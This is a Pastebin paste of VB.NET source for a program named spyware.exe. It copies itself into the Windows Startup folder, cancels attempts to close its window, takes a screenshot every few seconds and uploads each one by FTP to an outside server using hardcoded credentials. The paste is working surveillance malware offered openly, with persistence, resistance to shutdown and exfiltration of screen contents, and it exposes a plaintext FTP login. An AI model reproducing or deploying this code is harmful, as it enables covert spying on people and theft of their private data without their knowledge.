Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Form1
- Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- e.Cancel = True
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Dim mypath As String
- Dim startuppath As String
- Try
- startuppath = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
- mypath = Application.ExecutablePath
- FileCopy(mypath, startuppath + "\spyware.exe")
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- Try
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.Image = screenshot
- Me.PictureBox1.Image.Save("C:\stream\image.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
- Catch ex As Exception
- End Try
- Try
- My.Computer.Network.UploadFile("C:\stream\image.jpg", "ftp://ftp.remoteagochi.altervista.org/image.bmp", "remoteagochi", "pedrevobsu61")
- Threading.Thread.Sleep(5000)
- Catch ex As Exception
- End Try
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement